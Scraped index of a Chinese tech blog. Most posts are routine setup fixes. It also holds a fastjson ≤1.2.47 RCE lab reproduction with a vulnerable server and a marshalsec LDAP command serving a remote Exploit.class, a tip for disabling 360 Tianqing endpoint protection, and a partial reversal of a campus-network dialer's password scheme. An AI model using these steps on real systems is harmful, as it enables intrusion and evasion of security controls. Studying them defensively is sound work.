MYSQL_SCHEMA=RAP2_DELOS_APP - REDIS_URL=rap2-redis - REDIS_PORT=6379 - NODE_ENV=production working_dir: /app/rap2-delos #command: \u0026#39;mysql -h${MYSQL_URL} -u${MYSQL_USERNAME} -p${MYSQL_PASSWD} -e \u0026#34;select * from ${MYSQL_SCHEMA}.Users;\u0026#34; || npm run create-db\u0026#39; command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;sleep 30 \u0026amp;\u0026amp; mysql -h$${MYSQL_URL} -u$${MYSQL_USERNAME} -p$${MYSQL_PASSWD} -e \\\u0026#34;select * from $${MYSQL_SCHEMA}.Users;\\\u0026#34; || node dist/scripts/init\u0026#34;] links: - redis - mysql depends_on: - redis - mysql 注意一下数据挂载目录就行了。然后访问38080端口就ok了\n但是我想要最新的前端。\n这个搭建是稍微有点复杂的\n启动后端\n使用官方贴出的docker-compose.yml\n1 2 3 4 5 6 mkdir rap2 cd rap2 wget -c https://raw.githubusercontent.com/thx/rap2-delos/master/docker-compose.yml sudo docker-compose up -d docker起来后，默认是监听38080端口，你可以按照自己的喜好编辑docker-compose.yml，并且这个是允许跨域的，跨域规则比较松，Allow-Origin是*，所以你可以把前端部署在任何地方，不过我习惯部署在同一个域名下。\n部署前端\n首先下载前端\n1 git clone https://github.com/thx/rap2-dolores.git 然后修改前端的配置，这一步是为了与后端对接\n我是打算把整个服务部署在 mock.test.com 域名下，然后 http://mock.test.com/api 作为接口的根url（这里需要靠nginx来重写）\n那么我们需要修改前端的配置文件\n进入我们刚才clone下来的目录 rap2-dolores/src/config下，修改 config.prod.ts 文件\n只需要修改 serve 字段的值即可。\n然后编译前端，这里我使用淘宝的源\n1 2 3 4 5 cd rap2-dolores npm install --registry=https://registry.npm.taobao.org npm run build 编译完成后，rap2-dolores 目录下会出现一个名字为 build 或者 dist 的文件夹，把这个文件夹放到你刚才放docker-compose.yml的目录下（为了以后迁移方便，可以放在任意位置，只需要修改对应的nginx配置即可）\n这里我假定编译出来的是 build 文件夹，放置到docker-compose.yml所在的目录\n那么现在你的目录结构应该是这样\n1 2 3 4 5 6 7 8 9 lab@lab-desktop:~/dockers/rap2$ pwd /home/lab/dockers/rap2 lab@lab-desktop:~/dockers/rap2$ tree -L 1 . ├── docker-compose.yml ├── build └── docker 2 directories, 1 file 然后新建nginx配置文件\n1 sudo vim /etc/nginx/sites-enabled/mock.test.com.conf 写入以下内容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 server { listen 80; listen [::]:80; server_name mock.test.com; root /home/lab/dockers/rap2/build; # reverse proxy location /api/ { # 38080后面加/是为了把http://127.0.0.1:38080/api/*反代到http://127.0.0.1:38080/* proxy_pass http://127.0.0.1:38080/; # 38080后面的/是必要的，是否会附加location配置路径与proxy_pass配置的路径后是否有\u0026#34;/\u0026#34;有关，有\u0026#34;/\u0026#34;则不附加 # 代理配置，可选 proxy_http_version 1.1; proxy_cache_bypass $http_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; } location / { # 路由在前端，后端没有真实路由，在路由不存在的 404状态的页面返回 /index.html # 这个方式使用场景，你在写React或者Vue项目的时候，没有真实路由 try_files $uri /index.html; } } 然后重启一下nginx，访问mock.test.com就可以了\n这里给出一份比较详尽的nginx配置教程\nNginx 代理转发，让生产和测试环境 React、Vue 项目轻松访问 API，前端路由不再 404 https://juejin.im/entry/58df166a0ce463005821e9d9 Reference Nginx\u0026mdash;\u0026mdash;location常见配置指令，alias、root、proxy_pass https://github.com/taomaree/docker-rap2 https://github.com/thx/rap2-delos/wiki/docker https://github.com/thx/rap2-delos/issues/119#issuecomment-392762261 https://github.com/thx/rap2-dolores Api 文档管理系统 RAP2环境搭建 ","permalink":"https://www.hacktech.cn/post/2019/10/rap2-api-manage-building/","summary":"\u003cp\u003eRAP2 是一个api管理系统，前后端协作开发的利器。\u003c/p\u003e\n\u003cp\u003e在线体验地址\u003ca href=\"http://rap2.taobao.org\"\u003ehttp://rap2.taobao.org\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWeb接口管理工具，开源免费，接口自动化，MOCK数据自动生成，自动化测试，企业级管理。\u003c/p\u003e","title":"RAP2 前后端开发利器搭建"},{"content":"今天换了电脑，我直接把整个仓库从电脑A复制到了电脑B，包括仓库下面的 .git 文件夹。\n修改代码后我执行了一下 git add .\n出现了一个报错\n1 fatal: Invalid path \u0026#39;D:/Studio/Repo\u0026#39;: No such file or directory 看了下，这不是我上一台电脑的仓库目录吗。\n我在网上找了一下，并没有找到一个比较好的解决方案。\n想了想，git仓库配置都是在 .git 文件夹下面，下面肯定有配置文件。\n直接拿文本搜索工具搜索了一下，我这里使用的 grep\n1 2 λ grep -rn \u0026#34;D:/Code\u0026#34; ./.git ./.git/config:6: worktree = D:/Studio/Repo/theproject 可以看到config里面有这个配置，直接把这个 worktree 改成你现在项目所在的位置即可解决问题\n","permalink":"https://www.hacktech.cn/post/2019/09/git-invalid-path/","summary":"\u003cp\u003e今天换了电脑，我直接把整个仓库从电脑A复制到了电脑B，包括仓库下面的 \u003ccode\u003e.git\u003c/code\u003e 文件夹。\u003c/p\u003e\n\u003cp\u003e修改代码后我执行了一下 \u003ccode\u003egit add .\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e出现了一个报错\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efatal: Invalid path \u0026#39;D:/Studio/Repo\u0026#39;: No such file or directory\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e看了下，这不是我上一台电脑的仓库目录吗。\u003c/p\u003e\n\u003cp\u003e我在网上找了一下，并没有找到一个比较好的解决方案。\u003c/p\u003e\n\u003cp\u003e想了想，git仓库配置都是在 \u003ccode\u003e.git\u003c/code\u003e 文件夹下面，下面肯定有配置文件。\u003c/p\u003e\n\u003cp\u003e直接拿文本搜索工具搜索了一下，我这里使用的 \u003ccode\u003egrep\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eλ grep -rn \u0026#34;D:/Code\u0026#34; ./.git\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e./.git/config:6:        worktree = D:/Studio/Repo/theproject\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e可以看到config里面有这个配置，直接把这个 worktree 改成你现在项目所在的位置即可解决问题\u003c/p\u003e","title":"git出现Invalid path"},{"content":"具体表现为一直安装失败，但是下载进度条一直在，无法去除。\n此方法来自 https://answers.microsoft.com/en-us/windows/forum/all/error-code-0x80070057-when-installing-intel-media/725eff00-5f06-4336-8d41-2cb2f5999b88\nIf you are able to open MS Store, open MS Store \u0026gt; Click on your profile picture on top right and sign-out. Then sign-in again.\nRun Windows Store Apps Troubleshooter Windows Key+X \u0026gt; Click Settings \u0026gt; Click Update \u0026amp; security \u0026gt; Click Troubleshoot \u0026gt; Scroll down to the bottom \u0026gt; Click Windows Store Apps \u0026gt; Click Run the Troubleshooter\nReset Windows Store through Command Prompt Type cmd in Windows Search box \u0026gt; Right click on Command Prompt \u0026gt; Run As Administrator \u0026gt; Type WSreset.exe and click Enter \u0026gt; Reboot your computer\nRe-register All Store apps (You will get many Reds, ignore them) Windows Key+X \u0026gt; Windows Powershell (Admin) \u0026gt; Copy the following from below and right click in Powershell to paste \u0026gt; Enter \u0026gt; Restart your computer\nGet-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register \u0026ldquo;$($_.InstallLocation)\\AppXManifest.xml\u0026rdquo;}\nUninstall \u0026amp; Reinstall Store Windows Key+X \u0026gt; Windows Powershell (Admin) \u0026gt; Copy the following from below and right click in Powershell to paste \u0026gt; Enter Get-AppxPackage -allusers Microsoft.WindowsStore | Remove-AppxPackage\nCopy the following from below and right click in Powershell to paste \u0026gt; Enter \u0026gt; Reboot your computer\nGet-AppxPackage -allusers Microsoft.WindowsStore | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\\AppXManifest.xml”}\n这些一个个试，根据大家的反馈，基本第三个可以成功，我也是第三个方法成功的\n","permalink":"https://www.hacktech.cn/post/2019/08/microsoft-store-cannot-install-dfp/","summary":"\u003cp\u003e具体表现为一直安装失败，但是下载进度条一直在，无法去除。\u003c/p\u003e","title":"微软商店一直安装不上Intel Media SDK DFP"},{"content":"这两天爆出了 fastjson 的老洞，复现简单记录一下。\n首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package cn.hacktech.fastjsonserver; import com.alibaba.fastjson.JSON; import static spark.Spark.*; public class Main { public static void main(String[] args) { get(\u0026#34;/hello\u0026#34;, (req, res) -\u0026gt; \u0026#34;spark server start success\u0026#34;); post(\u0026#34;/test\u0026#34;, (req, res) -\u0026gt; { String payload = req.body(); JSON.parse(payload); return \u0026#34;json payload：\u0026#34; + payload; }); } } 编译出来后，启动这个 jar，在 /test 这个 post 点即可 post json payload。\n然后这里分两类：\n如果只是想检测漏洞是否存在，可以使用 dnslog 去检测 利用的话，需要自己起一个恶意的 ldap 或者 rmi 服务 本机需要起一个 LDAP 服务和 http 服务\n1 poc--\u0026gt;LDAP--\u0026gt;http poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class\n启动 LDAP 用的 marshalsec，会比较方便。\n在本目录下启动 http server 在 80 端口 1 python -m http.server 80 启动 LDAP 服务 1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 后面的 Exploit 是指 Exploit.class 文件\n运行 PoC，它会请求 LDAP 服务，或者直接把 json payload post 到 /test 1 java -cp fastjson-1.2.47.jar; PoC 其中代码编译的话，直接执行 javac the.java 即可，不过 PoC.java 的编译需要引入 fastjson jar 包，运行 javac -cp ./fastjson-1.2.47.jar PoC.java\n具体的细节可见代码打包文件\n复现遇到一些坑 这次的这个洞是有 jdk 版本要求的。\n最开始我在我本机测试通过，原因是因为它请求不到 class 的时候会去本目录下进行一个查找，也就是并没有经过 http 服务器。\n所以想要复现这个漏洞的话，需要 target 主机上面的 jdk 版本有严格的要求，具体见下图\n所以建议复现流程是\n建议复现流程 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver，或者你可以直接在虚拟机上面执行 PoC，关键在于 target 机器的 jdk 版本。 你可以在本机起 ldap/rmi 服务以及 http 服务，或者全部在虚拟机上运行也可以，但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server，所以建议这步放到虚拟机外运行。 根据你的网络环境修改 PoC。 然后 post payload 或者运行 PoC，即可看到虚拟机上弹出了计算器。 低版本的java 8u112 链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm\n复现视频链接：复现流程.zip\n","permalink":"https://www.hacktech.cn/post/2019/07/fastjson-under-1.2.47-rce/","summary":"\u003cp\u003e这两天爆出了 fastjson 的老洞，复现简单记录一下。\u003c/p\u003e\n\u003cp\u003e首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。\u003c/p\u003e","title":"fastjson低于1.2.47 RCE 漏洞复现"},{"content":"最近向系统添加了新用户账号后出现了问题，尝试使用私钥登陆服务器，提示了 Bad owner or permissions on .ssh/config 这个报错，就是如题中的问题\n修复 按照Windows 10 GUI中的这些步骤解决权限问题：\n找到.ssh文件夹。它通常位于C:\\Users\\，例如C:\\Users\\Akkuman。 右键单击.ssh文件夹，然后单击“属性”。 找到并点击“安全”标签。 然后单击“高级”。 单击“禁用继承”，单击“确定”。 将出现警告弹出窗口。单击“从此对象中删除所有继承的权限”。 你会注意到所有用户都将被删除。让我们添加所有者。在同一窗口中，单击“编辑”按钮。 接下来，单击“添加”以显示“选择用户或组”窗口。 单击“高级”，然后单击“立即查找”按钮。应显示用户结果列表。 选择您的用户帐户。 然后单击“确定”（大约三次）以关闭所有窗口。 完成所有操作后，再次关闭并打开cmder应用程序并尝试连接到远程SSH主机。\n现在这个问题应该解决了。\n","permalink":"https://www.hacktech.cn/post/2019/07/bad-owner-or-permissions-ssh-win10/","summary":"\u003cp\u003e最近向系统添加了新用户账号后出现了问题，尝试使用私钥登陆服务器，提示了 Bad owner or permissions on .ssh/config 这个报错，就是如题中的问题\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/1106918-20190715102859616-1893463244.png\"\u003e\u003c/p\u003e","title":"Bad owner or permissions on .ssh-config win10问题解决"},{"content":"前阵子有个需求是使用 golang 抓包改包，我用到了 gopacket 这个包，但是出了一些小问题。\n我按照网上的方法进行使用 OpenLive 抓包，发现并不行，报错 error open adapter 啥啥啥。\n经过调试发现根本找不到这个网卡，需要用 \\Device\\NPF_ 开头的网卡设备名，我去看了 scapy 的实现，发现使用的是 winpcap/npcap 驱动的 pcap_findalldevs 这个方法，我去 gopacket 里面找了下，发现有个方法 pcap.FindAllDevs() 可以得到所有的网卡信息。\n但是用这个方法得到的数据里面的 windows 自带的网卡的 Description 描述字段上就只有个 microsoft，压根不知道是什么东西，结合 net.interifaces() 方法中的 ip 与之前得到的数据对应起来，得到了一个简陋的方案\n直接上代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net\u0026#34; \u0026#34;github.com/google/gopacket/pcap\u0026#34; ) type IfaceInfo struct { NPFName string Description string NickName string IPv4 string } func get_if_list() []IfaceInfo { var ifaceInfoList []IfaceInfo // 得到所有的(网络)设备 devices, err := pcap.FindAllDevs() if err != nil { log.Fatal(err) } interface_list, err := net.Interfaces() if err != nil { log.Fatal(err) } for _, i := range interface_list { byName, err := net.InterfaceByName(i.Name) if err != nil { log.Fatal(err) } address, err := byName.Addrs() ifaceInfoList = append(ifaceInfoList, IfaceInfo{NickName: byName.Name, IPv4: address[1].String()}) } // 打印设备信息 // fmt.Println(\u0026#34;Devices found:\u0026#34;) // for _, device := range devices { // fmt.Println(\u0026#34;\\nName: \u0026#34;, device.Name) // fmt.Println(\u0026#34;Description: \u0026#34;, device.Description) // fmt.Println(\u0026#34;Devices addresses: \u0026#34;, device.Description) // for _, address := range device.Addresses { // fmt.Println(\u0026#34;- IP address: \u0026#34;, address.IP) // fmt.Println(\u0026#34;- Subnet mask: \u0026#34;, address.Netmask) // } // } var vaildIfaces []IfaceInfo for _, device := range devices { for _, address := range device.Addresses { for _, ifaceinfo := range ifaceInfoList { if strings.Contains(ifaceinfo.IPv4, address.IP.String()) { vaildIfaces = append(vaildIfaces, IfaceInfo{NPFName: device.Name, Description: device.Description, NickName: ifaceinfo.NickName, IPv4: ifaceinfo.IPv4}) break } } } } return vaildIfaces } func main() { fmt.Println(get_if_list()) } ","permalink":"https://www.hacktech.cn/post/2019/07/gopacket-problem-on-windows/","summary":"\u003cp\u003e前阵子有个需求是使用 golang 抓包改包，我用到了 gopacket 这个包，但是出了一些小问题。\u003c/p\u003e","title":"gopacket 在 windows 上面遇到的问题"},{"content":"删除 C:\\Program Files (x86)\\360\\360Safe\\EntClient\\conf\\EntBase.dat 即可退出，可用天擎自身的粉碎文件功能进行删除\n","permalink":"https://www.hacktech.cn/post/2019/07/how-to-exit-tianqing/","summary":"\u003cp\u003e删除 C:\\Program Files (x86)\\360\\360Safe\\EntClient\\conf\\EntBase.dat 即可退出，可用天擎自身的粉碎文件功能进行删除\u003c/p\u003e","title":"如何退出天擎"},{"content":"今天遇到一个很怪的问题，我想把我的一个子模块切换到另一个上游，我按照网上的方法删除子模块然后新建后，这个子模块依旧跟踪着我先前的上游。自己摸索了一下，可能方法比较傻，不过是可行的，希望能给大家一些帮助。\n使原先子模块不被版本控制（先把子模块从版本控制系统移除） 1 git rm --cached /path/to/files 删除子模块目录 1 rm -rf /path/to/files 修改 .gitmodules，移除这个 submodule 1 2 3 -[submodule \u0026#34;themes/next\u0026#34;] -\tpath = themes/next -\turl = https://github.com/theme-next/hexo-theme-next.git 修改 .git/config 内容，把需要删除的 submodule 配置项删除 修改 .git/modules 文件夹内容，把你想要删除的子模块目录删除（这项十分重要，或者你知道怎么修改也可以修改，不然导致的后果就是你改过来的同名子模块依然跟踪着之前的分支，git pull 也没法拉取你在 .gitmosules 中新定义的上游地址） 后面再按照普通的方法添加子模块即可 一些子模块的操作可以参见Git Submodule 用法筆記\n","permalink":"https://www.hacktech.cn/post/2019/05/git-rm-or-change-submodule/","summary":"\u003cp\u003e今天遇到一个很怪的问题，我想把我的一个子模块切换到另一个上游，我按照网上的方法删除子模块然后新建后，这个子模块依旧跟踪着我先前的上游。自己摸索了一下，可能方法比较傻，不过是可行的，希望能给大家一些帮助。\u003c/p\u003e","title":"git彻底删除或变更子模块"},{"content":"湖北校园网PC端拨号算法逆向 前言 上一文 PPPoE中间人拦截以及校园网突破漫谈我们谈到使用 PPPoE 拦截来获取真实的账号密码。\n在这个的基础上，我对我们湖北的客户端进行了逆向，得到了拨号加密算法。\n准备工作 首先查壳，发现这个版本没壳了，我记得之前好像是加过 vmp 的呀，不管了。\n然后我们看看目录下的 dll 导出表看看有没有什么好东西\nAidcComm.dll 里面有这些东西，看来这个极大可能会是我们的目标。\n我们再看看主程序的导入表，发现主程序的导入表里面并没有这个 dll，那我们动态调试的时候应该怎么断到这个 dll 中去呢。\n没有导入表说明没有 .lib，那有可能是通过 LoadLibrary 加载的 dll，至于自实现 peloader，我觉得应该这个软件应该不会是这样。\n看看就知道了。\n直接用 x32dbg 和 IDA 开始看。\n逆向过程 x32dbg 打开主程序，然后 bp LoadLibraryW，再重新载入程序，我们可以一步步运行发现 AidcComm.dll 被载入了。\n然后运行到用户代码处\n我们可以看到此时 eax 寄存器的值为 55870000，这个就是 LoadLibrary 返回的 HANDLE。一般思路来说，接下来就是用 GetProcAddress 获取导出表函数的地址了。\n继续往下走几步，即可发现我们的猜测并没有错误。\n从这张图我们可以看到主程序获取了 AidcComm.GetPWD 和 AidcComm.GetRegularAccount 的地址。\n那我们通过 call 之后的 eax 跳转过去在这两个函数的地址下断，直接跑起来。\n然后我们会发现在 AidcComm.GetRegularAccount 断下来了，传入的参数可以在堆栈窗口中看到。\n我们去 IDA 分析 GetRegularAccount 这个函数，同时在调试器这边动态跟（这个我已经分析过了，所以有的变量和函数名我已经改过了）\n首先最直观的就是账号的变换，账号只需要加上前缀 !^Wnds0 即可（但其实加密出来后，主程序这个给它又加了一个后缀 @hbxy）。（从调试器可以看到）\n密码我们直接跟到 GetPWD 里面去看。\n通过调试器我们可以观察出，这个分支结构只会执行 a2 == 1 这个分支。\n看来是通过下面这个函数加密的了。（我给他改了名 encryptPwdWithKey） 我们进到 encryptPwdWithKey(void *password, char *key, rsize_t SizeInBytes) 这个函数去查看。\n通过分析我们可以得出大致上的流程\npassword 用 key RC4 一下得到 A 把 A md5 一下得到 B，如果第 11 位为奇数，取 B 的前 16 位，偶数就后 16 位，得到 C C 再用 key RC4 一下得到 D D 再 md5 一下，取 [8:24]得到 E 也就是最后得到的 E 是加密之后的。\n可能有的小伙伴不明白为什么会是 RC4，这里有几个提示的地方，第一是这个字符串的提示，第二是 RC4 加密流程是很容易分辨的，这个靠经验了。\n但是我们发现我们截取出来的密码和这个是有点小不一样的。通过调试，可以看到在 GetRegularAccount 函数加密出来后，又调用了一个函数，这个函数我给它重命名为 fixHBKey 了。\n我们跟进去看看\n代码并不长，我们可以直接调试器分析，如果你想用 IDA 也是可以的，IDA 可以搜索上图中的 \u0026lt;\u0026lt;\u0026lt; FixHBKey: %s \u0026lt;\u0026lt;\u0026lt; 这个字符串来定位这个函数。 或者我们可以看到这个函数的入口地址为 001115D0，这个 exe 的加载基址我们可以往上滑到顶看到为 000F1000，两个之间的差值为 205D0， 然后再把这个差值加上 IDA 加载的基址，即可找到这个函数。\n这个函数的大致作用就是修改上面我们得到的 E\nE[今天几号日期 % 16] 替换为 \u0026lsquo;b\u0026rsquo; 得到最后的密码 这块我们是搞清楚了，那 key 是怎么来的呢。\n这个我们就需要大量借助调试器了，我们重启一下主程序，然后在上面的分析基础上找到这个 key 第一次出现的地方，我们可以发现 在 AidcRes 偏移 10110 处即为 key 的生成函数。\n这个函数巨长，同样的，我们借助之前的方法在 IDA 中找到这个函数，我这里直接按偏移，可以看到在 sub_420110 即为我们的加密函数， 这里我已经重命名为 generateKey。\n这个函数太长了，我无法截全图，我直接丢代码然后分析，这里分析建议大家调试结合代码来看，不然一头雾水。其中大量的必要变量和函数我已经重命名，方便大家阅读。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 int __thiscall generateKey(char *this, int a2, char a3, int a4, int a5, int a6, int a7, int a8) { int v8; // eax int v9; // edx int v11; // [esp+8h] [ebp-37Ch] char *v12; // [esp+20h] [ebp-364h] int len_username_b_MonthDay; // [esp+24h] [ebp-360h] char *v14; // [esp+28h] [ebp-35Ch] int len_bUsernameMonthDay; // [esp+2Ch] [ebp-358h] char *v16; // [esp+30h] [ebp-354h] char *mem_17; // [esp+34h] [ebp-350h] int v18; // [esp+38h] [ebp-34Ch] int lenMonthDay; // [esp+3Ch] [ebp-348h] int lenUsername; // [esp+40h] [ebp-344h] int v21; // [esp+44h] [ebp-340h] int v22; // [esp+48h] [ebp-33Ch] int *v23; // [esp+4Ch] [ebp-338h] int v24; // [esp+50h] [ebp-334h] const char *v25; // [esp+54h] [ebp-330h] int len_HbKeyGa; // [esp+58h] [ebp-32Ch] int lenHbKeyGa; // [esp+5Ch] [ebp-328h] char *pMem_64_a; // [esp+60h] [ebp-324h] int len_HbKeyGb; // [esp+64h] [ebp-320h] int lenHbKeyGb; // [esp+68h] [ebp-31Ch] char *pMem_64_b; // [esp+6Ch] [ebp-318h] int v32; // [esp+70h] [ebp-314h] int v33; // [esp+74h] [ebp-310h] int v34; // [esp+78h] [ebp-30Ch] int v35; // [esp+7Ch] [ebp-308h] int len_monthDay_Username_b; // [esp+80h] [ebp-304h] char *v37; // [esp+84h] [ebp-300h] int len_username_MonthDay_b; // [esp+88h] [ebp-2FCh] LPVOID lp_mix_md5_1; // [esp+8Ch] [ebp-2F8h] size_t v40; // [esp+90h] [ebp-2F4h] int v41; // [esp+94h] [ebp-2F0h] LPVOID v42; // [esp+98h] [ebp-2ECh] LPVOID v43; // [esp+9Ch] [ebp-2E8h] LPVOID v44; // [esp+A0h] [ebp-2E4h] int index3; // [esp+A4h] [ebp-2E0h] int index2; // [esp+A8h] [ebp-2DCh] char *pHbKeyGa; // [esp+ACh] [ebp-2D8h] int index6; // [esp+B0h] [ebp-2D4h] int index5; // [esp+B4h] [ebp-2D0h] _DWORD *md5_monthDay_Username_b; // [esp+B8h] [ebp-2CCh] _DWORD *md5_username_b_MonthDay; // [esp+BCh] [ebp-2C8h] _DWORD *md5_username_MonthDay_b; // [esp+C0h] [ebp-2C4h] void *mix_md5_1; // [esp+C4h] [ebp-2C0h] int md5_1_pLus3remainder4; // [esp+C8h] [ebp-2BCh] int md5_bUsernameMonthDay; // [esp+CCh] [ebp-2B8h] char *pHbKeyGb; // [esp+D0h] [ebp-2B4h] void *v57; // [esp+D4h] [ebp-2B0h] void *v58; // [esp+D8h] [ebp-2ACh] int md5_4_plus5remainer4; // [esp+DCh] [ebp-2A8h] void *mix_md5_2; // [esp+E0h] [ebp-2A4h] const char *userName; // [esp+E4h] [ebp-2A0h] char *monthDay; // [esp+E8h] [ebp-29Ch] char *bUsernameMonthDay; // [esp+ECh] [ebp-298h] char *username_b_MonthDay; // [esp+F0h] [ebp-294h] char *username_MonthDay_b; // [esp+F4h] [ebp-290h] char *monthDay_Username_b; // [esp+F8h] [ebp-28Ch] char *p_HbKeyGb; // [esp+FCh] [ebp-288h] char *p_HbKeyGa; // [esp+100h] [ebp-284h] const char *username; // [esp+104h] [ebp-280h] _DWORD *md5_2; // [esp+108h] [ebp-27Ch] _DWORD *md5_3; // [esp+10Ch] [ebp-278h] int index1; // [esp+114h] [ebp-270h] int index4; // [esp+118h] [ebp-26Ch] int temp1; // [esp+11Ch] [ebp-268h] int temp2; // [esp+120h] [ebp-264h] _DWORD *md5_4; // [esp+124h] [ebp-260h] int md5_1; // [esp+128h] [ebp-25Ch] size_t SizeInBytes; // [esp+134h] [ebp-250h] char *DstBuf; // [esp+138h] [ebp-24Ch] char *pThis; // [esp+13Ch] [ebp-248h] int 